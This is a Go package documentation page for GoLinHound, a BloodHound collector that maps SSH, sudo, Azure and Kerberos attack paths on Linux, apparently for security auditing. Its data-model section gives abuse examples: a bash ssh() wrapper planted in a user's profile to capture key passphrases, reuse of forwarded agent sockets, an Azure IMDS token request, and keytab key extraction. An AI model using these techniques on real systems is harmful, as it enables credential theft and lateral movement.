golinhound

package module
v1.0.1 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Apr 9, 2026 License: GPL-3.0 Imports: 34 Imported by: 0

README

GoLinHound

A BloodHound collector written in Go that discovers Linux and SSH attack paths. Outputs OpenGraph JSON and integrates with existing SharpHound and AzureHound data.

Table of Contents

Getting Started

# clone repository
git clone https://github.com/rantasec/golinhound
cd golinhound

# add custom node icons to BloodHound
BASEURL="http://localhost:8080"
TOKEN="<YOUR_TOKEN>"
curl -X "POST" \
  "${BASEURL}/api/v2/custom-nodes" \
  -H "accept: application/json" \
  -H "Prefer: wait=30" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer ${TOKEN}" \
  -d @res/custom-nodes.json

# build golinhound yourself
make build

# alternatively, download latest release
wget -P "bin/" "https://github.com/RantaSec/golinhound/releases/latest/download/golinhound-linux-amd64"
wget -P "bin/" "https://github.com/RantaSec/golinhound/releases/latest/download/golinhound-linux-arm64"

# execute golinhound
sudo ./bin/golinhound-linux-amd64 collect > output.json

# optional: merge multiple output files
cat *.json | ./bin/golinhound-linux-amd64 merge > merged.json

Data Model

This section describes the edges collected by GoLinHound and provides examples how they can be abused.

SSH

HasPrivateKey

Collected by parsing all private keys in $HOME/.ssh/ directories. This edge indicates that a user has access to a specific SSH keypair.

If the corresponding private key is password-protected, the password can be captured by adding an SSH command alias to the user's profile:

ssh() {
  for ((i=1; i<=$#; i++)); do
    if [[ ${!i} == "-i" ]]; then
      next=$((i+1))
      if ssh-keygen -y -P "" -f "${!next}" >/dev/null 2>&1; then
        break
      fi
      if [[ -f "${!next}.password" ]]; then
        break
      fi
      echo -n "Enter passphrase for key '${!next}': "
      read -s passphrase
      echo ""
      echo "$passphrase" > ${!next}.password
      break
    fi
  done
  command ssh "$@"
}
CanSSH

Collected by parsing authorized_keys files. This edge indicates that a SSHKeyPair can be used to authenticate via SSH to an SSHComputer as a specific SSHUser.

Connect using the private key:

ssh -i <priv_key> user@host
ForwardsKey

This edge indicates that a keypair was forwarded to another SSHComputer via SSH agent forwarding.

Use the forwarded authentication socket to authenticate to other hosts:

export SSH_AUTH_SOCK="/tmp/ssh-IbF2XDIsRI/agent.9869"
ssh user@host
Linux

IsRoot

This edge indicates that an SSHUser is the root user of an SSHComputer.

No additional exploitation needed - root is already the most privileged user on the system.

CanSudo

Collected by parsing sudoers configuration files. This edge indicates that a user has privileges to execute commands as root via sudo.

Escalate to root privileges:

sudo -u#0 bash
CanImpersonate

Once a user has escalated to root, they can impersonate any other user on the system.

Execute bash as another user:

sudo -u <username> bash
Azure / Entra

SameMachine

This edge indicates that an SSHComputer is an AZVM. This edge is bidirectional.

A token for the machine identity can be obtained via:

curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F' -H Metadata:true -s

A privileged Azure user can execute code on the VM via:

az vm run-command invoke \
  --resource-group myResourceGroup \
  --name myLinuxVM \
  --command-id RunShellScript \
  --scripts "whoami"

Active Directory

This edge indicates that credentials for an Active Directory user are stored in a keytab file on an SSHComputer.

Extract Kerberos encryption keys from the keytab:

klist -eKkt /home/alice/svc_custom.keytab
HasTGT

This edge indicates that cached Ticket Granting Tickets (TGTs) for an Active Directory user exist on an SSHComputer, typically in /tmp/krb5cc_* files.

Export and use the credential cache:

export KRB5CCNAME=/tmp/krb5cc_<uid>
klist

Cypher Queries

This section demonstrates Cypher queries that uncover interesting attack paths. Sample OpenGraph JSON files for testing these queries can be found in the res/examples/ directory.

Local Privilege Escalation

This query identifies non-privileged users that can obtain root privileges.

// identify administrative users
MATCH pEnd=(admin:SSHUser)-[:CanSudo|IsRoot]->(c:SSHComputer)
// identify unprivileged users
MATCH (c)-[:CanImpersonate]->(user:SSHUser)
WHERE NOT (user)-[:CanSudo|IsRoot]->(c)
// find path from unprivileged user to admin
MATCH pStart=allShortestPaths((user)-[*1..]->(admin))
// start segment should not include target computer
WHERE none(n in nodes(pStart) WHERE n.objectid=c.objectid)
RETURN pStart, pEnd
Pivot from Dev to Prod

This query identifies attack paths from test/dev to prod.

// identify all computers that contain non-prod strings
MATCH (testc:SSHComputer)
WHERE (
    testc.name CONTAINS "TEST" OR
    testc.name CONTAINS "TST" OR
    testc.name CONTAINS "DEV"
)
// identify computers with prod string and all local users
MATCH (prodc:SSHComputer)-[:CanImpersonate]->(produ:SSHUser)
WHERE (
    prodc.name CONTAINS "PROD" OR
    prodc.name contains "PRD"
)
// check if there is path from test to prod
MATCH p=allShortestPaths((testc)-[*..]->(produ))
// ignore paths that go through the prod host
WHERE none(n in nodes(p) WHERE n.objectid=prodc.objectid)
// show privileges to prod host
OPTIONAL MATCH p2=(produ)-[:CanSudo|IsRoot]->(prodc)
RETURN p,p2
Azure Tenant Breakout

This query shows non-Azure attack paths from a vm in one Azure tenant to a vm in another tenant.

MATCH (vm1:AZVM)-[:SameMachine]->(:SSHComputer)
MATCH (:SSHComputer)-[:SameMachine]->(vm2:AZVM)
WHERE vm1.tenantid <> vm2.tenantid
MATCH p=allShortestPaths((vm1)-[*..]->(vm2))
WHERE none(r in relationships(p) WHERE type(r) STARTS WITH "AZ")
RETURN p
Azure Subscription Breakout

This query shows non-Azure attack paths from a vm in one Azure subscription to a vm in another subscription.

MATCH (vm1:AZVM)-[:SameMachine]->(:SSHComputer)
MATCH (:SSHComputer)-[:SameMachine]->(vm2:AZVM)
WITH 
    vm1,
    vm2,
    substring(vm1.objectid,15,36) AS subscriptionId1,
    substring(vm2.objectid,15,36) AS subscriptionId2
WHERE subscriptionId1 <> subscriptionId2
MATCH p=allShortestPaths((vm1)-[*..]->(vm2))
WHERE none(r in relationships(p) WHERE type(r) STARTS WITH "AZ")
RETURN p
Azure VMs with Privileged Service Principals

This query shows non-Azure attack paths to Azure VMs that have privileges assigned.

MATCH p=(:SSHComputer)-[:SameMachine]->(vm:AZVM)-->(:AZServicePrincipal)-->()
RETURN p
Active Directory Domain Breakout

This query shows non-AD attack paths from a computer in one domain to a computer in another domain.

MATCH p1=(c1:SSHComputer)-[:HasKeytab|:HasTGT]->(ad1)
MATCH p2=(c2:SSHComputer)-[:HasKeytab|:HasTGT]->(ad2)
WHERE c1 <> c2 AND ad1.domain <> ad2.domain
MATCH p=allShortestPaths((c1)-[*..]->(c2))
RETURN p1, p, p2
Active Directory Principal Breakout

This query shows non-AD attack paths from a computer with access to one AD principal to a computer with another AD principal.

MATCH p1=(c1:SSHComputer)-[:HasKeytab|:HasTGT]->(ad1)
MATCH p2=(c2:SSHComputer)-[:HasKeytab|:HasTGT]->(ad2)
WHERE c1 <> c2 AND ad1 <> ad2
MATCH p=allShortestPaths((c1)-[*..]->(c2))
RETURN p1, p, p2
Private Keys on More Than One Computer

This query identifies private keys that can be found on multiple hosts.

MATCH (c:SSHComputer)-[:CanImpersonate]->(u:SSHUser)-[:HasPrivateKey]->(k:SSHKeyPair)
WITH k, collect(DISTINCT c) AS computers
WHERE size(computers) > 1
UNWIND computers AS c
MATCH p=(c)-[:CanImpersonate]->()-[:HasPrivateKey]->(k)
RETURN p
Unprotected Private Keys

This query shows private keys that are unencrypted and not protected by FIDO2.

MATCH p=(:SSHUser)-[r:HasPrivateKey]->(k:SSHKeyPair)
WHERE k.FIDO2 = false AND r.Encrypted = false
RETURN p
Private Keys with Weak Encryption

This query shows non-FIDO2 private keys that are encrypted with something other than aes.

MATCH p=(u:SSHUser)-[r:HasPrivateKey]->(k:SSHKeyPair)
WHERE k.FIDO2 = false
  AND r.Encrypted = true
  AND r.Cipher <> "none"
  AND NOT r.Cipher STARTS WITH "aes256-"
  AND NOT r.Cipher STARTS WITH "aes128-"
RETURN p
Agent Forwarding

This query shows which private keys are forwarded via SSH agent forwarding.

MATCH p=(:SSHUser)-[:ForwardsKey]->(k:SSHKeyPair)
RETURN p
Hosts that allow root logins

This query returns hosts that allow the root user to login.

MATCH p=(:SSHKeyPair)-[:CanSSH]->(:SSHUser)-[:IsRoot]->(:SSHComputer)
RETURN p

Large-Scale Deployment

GoLinHound can be deployed using any tool with remote code execution capabilities across your Linux infrastructure. For Velociraptor users, a pre-built artifact is provided below for streamlined deployment:

name: Custom.Linux.Linhound.GoTool
description: |
   Velociraptor Client Artifact to push GoLinhound to a client and execute. The binary will be downloaded to a temporary folder and will be deleted after execution. The artifact will return the json which can be pushed to Bloodhound.

author: Hendrik Schmidt, @hendrkss

precondition: SELECT OS, PlatformFamily, Architecture FROM info() WHERE OS = 'linux' AND NOT Architecture =~ 'arm'
type: CLIENT

implied_permissions:
  - EXECVE
  - FILESYSTEM_WRITE
  - FILESYSTEM_READ

tools:
  - name: goLinhound
    url: https://github.com/RantaSec/golinhound/releases/latest/download/golinhound-linux-amd64

sources:
    - name: GetToolingAndExecute
      query: |
              LET getTool = SELECT OSPath as MyPath FROM Artifact.Generic.Utils.FetchBinary(
                      ToolName= "goLinhound", 
                      ToolInfo="GoLinhound Executable",
                      IsExecutable=TRUE,
                      TemporaryOnly=TRUE
                    )
              
              LET runTool = SELECT MyPath,* FROM execve(argv=[MyPath,"collect"],length=100000000)
              
              SELECT * FROM foreach(
                            row=getTool,
                            query={SELECT * FROM chain(a=runTool)
                            }
                    )

Author & License

Copyright © 2026 Lukas Klein. Licensed under GPL-3.0 - see LICENSE.

Acknowledgements

I would like to thank the following people for their support on this project:

  • Hendrik Schmidt (@hendrkss) for valuable discussions and working out the Velociraptor deployment strategy

  • Hilko Bengen (@hillu) for general guidance and support

Documentation

Index

Constants

View Source
const (
	AzureIMDSTimeout           = 3 * time.Second
	CredentialCacheLoadTimeout = 3 * time.Second
	KeytabFindTimeout          = 5 * time.Second
	KeytabLoadTimeout          = 3 * time.Second
	SSHDExecTimeout            = 2 * time.Second
	SSHExecTimeout             = 2 * time.Second
	SudoExecTimeout            = 2 * time.Second
)

Variables

View Source
var Verbose = false

Verbose defines whether verbose logging is enabled

Functions

func AZVMToOpenGraph

func AZVMToOpenGraph(obj AZVM) ([]*openGraphNode, []*openGraphEdge)

func KeyTabToOpenGraph

func KeyTabToOpenGraph(obj Keytab) []*openGraphEdge

TODO (SSHComputer)<-[sameMachine]->(Computer)

func LinhoundToOpenGraphObjects

func LinhoundToOpenGraphObjects(obj LinhoundObject) ([]*openGraphNode, []*openGraphEdge)

LinhoundToOpenGraphObjects takes a Linhound object and transforms it into OpenGraph nodes and edges

func MergeOpenGraphJSONs

func MergeOpenGraphJSONs() string

MergeOpenGraphJSONs reads OpenGraph JSON objects from stdin and merges them

func PrincipalToBloodhoundName

func PrincipalToBloodhoundName(principal string, realm string) (string, error)

func TGTToOpenGraph

func TGTToOpenGraph(obj TGT) []*openGraphEdge

TODO

Types

type AZVM

type AZVM struct {
	Computer        Computer
	TenantId        string
	ResourceId      string
	Name            string
	OperatingSystem string
}

type AuthorizedKey

type AuthorizedKey struct {
	Computer  Computer
	UserName  string
	PublicKey PublicKey
	FilePath  string
}

func (AuthorizedKey) GetComputer

func (ak AuthorizedKey) GetComputer() Computer

func (AuthorizedKey) GetPublicKey

func (ak AuthorizedKey) GetPublicKey() PublicKey

func (AuthorizedKey) GetUserName

func (ak AuthorizedKey) GetUserName() string

type Computer

type Computer struct {
	UniqueId string
	FQDN     string
	RootName string
}

func NewComputer

func NewComputer(uniqueId string, fqdn string, rootName string) *Computer

type ForwardedKey

type ForwardedKey struct {
	Computer        Computer
	UserName        string
	PublicKey       PublicKey
	LastLoginSocket string
	LastLoginTime   string
	LastLoginIP     string
}

func NewForwardedKey

func NewForwardedKey(computer Computer, userName string, publicKey PublicKey, lastLoginSocket string, lastLoginTime string, lastLoginIP string) *ForwardedKey

func (ForwardedKey) GetComputer

func (fk ForwardedKey) GetComputer() Computer

func (ForwardedKey) GetPublicKey

func (fk ForwardedKey) GetPublicKey() PublicKey

func (ForwardedKey) GetUserName

func (fk ForwardedKey) GetUserName() string

type Keytab

type Keytab struct {
	Computer        Computer
	FilePath        string
	ClientPrincipal string
	ClientRealm     string
}

type LinhoundCollector

type LinhoundCollector struct {
	// contains filtered or unexported fields
}

func NewLinhoundCollector

func NewLinhoundCollector() *LinhoundCollector

NewLinHoundCollector creates a new LinhoundCollector object and loads the current systems metadata and SSHD config

func (LinhoundCollector) AuthorizedKeys

func (l LinhoundCollector) AuthorizedKeys(userName string) []*AuthorizedKey

AuthorizedKeys retrieves all authorized keys for a given user

func (LinhoundCollector) AzureVM

func (l LinhoundCollector) AzureVM() []*AZVM

AzureVM retrieves information from Azure IMDS

func (LinhoundCollector) CollectArtifacts

func (l LinhoundCollector) CollectArtifacts(duration int) ([]*Sudoer, []*PrivateKey, []*ForwardedKey, []*AuthorizedKey, []*Keytab, []*TGT, []*AZVM)

CollectArtifacts iterates over all local users and searches for respective authorized keys, private keys, forwarded agents and sudoer privileges.

func (LinhoundCollector) CollectArtifactsOpenGraph

func (l LinhoundCollector) CollectArtifactsOpenGraph(duration int) string

CollectArtifactsOpenGraph collects all

func (LinhoundCollector) ForwardedKeys

func (l LinhoundCollector) ForwardedKeys(duration int) []*ForwardedKey

ForwardedKeys collects key information from all SSH agent sockets for the next 'duration' minutes

func (LinhoundCollector) Keytabs

func (l LinhoundCollector) Keytabs() []*Keytab

Keytabs retrieves keytabs from the local computer

func (LinhoundCollector) PrivateKeys

func (l LinhoundCollector) PrivateKeys(userName string) []*PrivateKey

PrivateKeys retrieves all private keys for a given user

func (LinhoundCollector) Sudoer

func (l LinhoundCollector) Sudoer(userName string) []*Sudoer

Sudoer returns a list of a sudoer object if the specified user has sudo privileges

func (LinhoundCollector) TGTs

func (l LinhoundCollector) TGTs() []*TGT

TGTs retrieves all TGTs from local ticket caches

type LinhoundKey

type LinhoundKey interface {
	GetPublicKey() PublicKey
}

type LinhoundObject

type LinhoundObject interface {
	GetComputer() Computer
	GetUserName() string
}

type PrivateKey

type PrivateKey struct {
	Computer  Computer
	UserName  string
	PublicKey PublicKey
	FilePath  string
	KeyFormat string
	KDF       string
	Cipher    string
	Encrypted bool
}

func NewPrivateKey

func NewPrivateKey(computer Computer, userName string, publicKey PublicKey, filePath string, keyFormat string, kdf string, cipher string) *PrivateKey

func (PrivateKey) GetComputer

func (pk PrivateKey) GetComputer() Computer

func (PrivateKey) GetPublicKey

func (pk PrivateKey) GetPublicKey() PublicKey

func (PrivateKey) GetUserName

func (pk PrivateKey) GetUserName() string

type PublicKey

type PublicKey struct {
	Base64            string
	Comment           string
	Algorithm         string
	FingerprintSHA256 string
	FingerprintMD5    string
	FIDO2             bool
}

func NewPublicKey

func NewPublicKey(keyB64 string, comment string) (*PublicKey, error)

type Sudoer

type Sudoer struct {
	Computer         Computer
	UserName         string
	PasswordRequired bool
	Commands         string
}

func (Sudoer) GetComputer

func (s Sudoer) GetComputer() Computer

func (Sudoer) GetUserName

func (s Sudoer) GetUserName() string

type TGT

type TGT struct {
	Computer        Computer
	FilePath        string
	ClientPrincipal string
	ClientRealm     string
	StartTime       string
	EndTime         string
	RenewTime       string
}

Directories

Path Synopsis
cmd
golinhound command

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL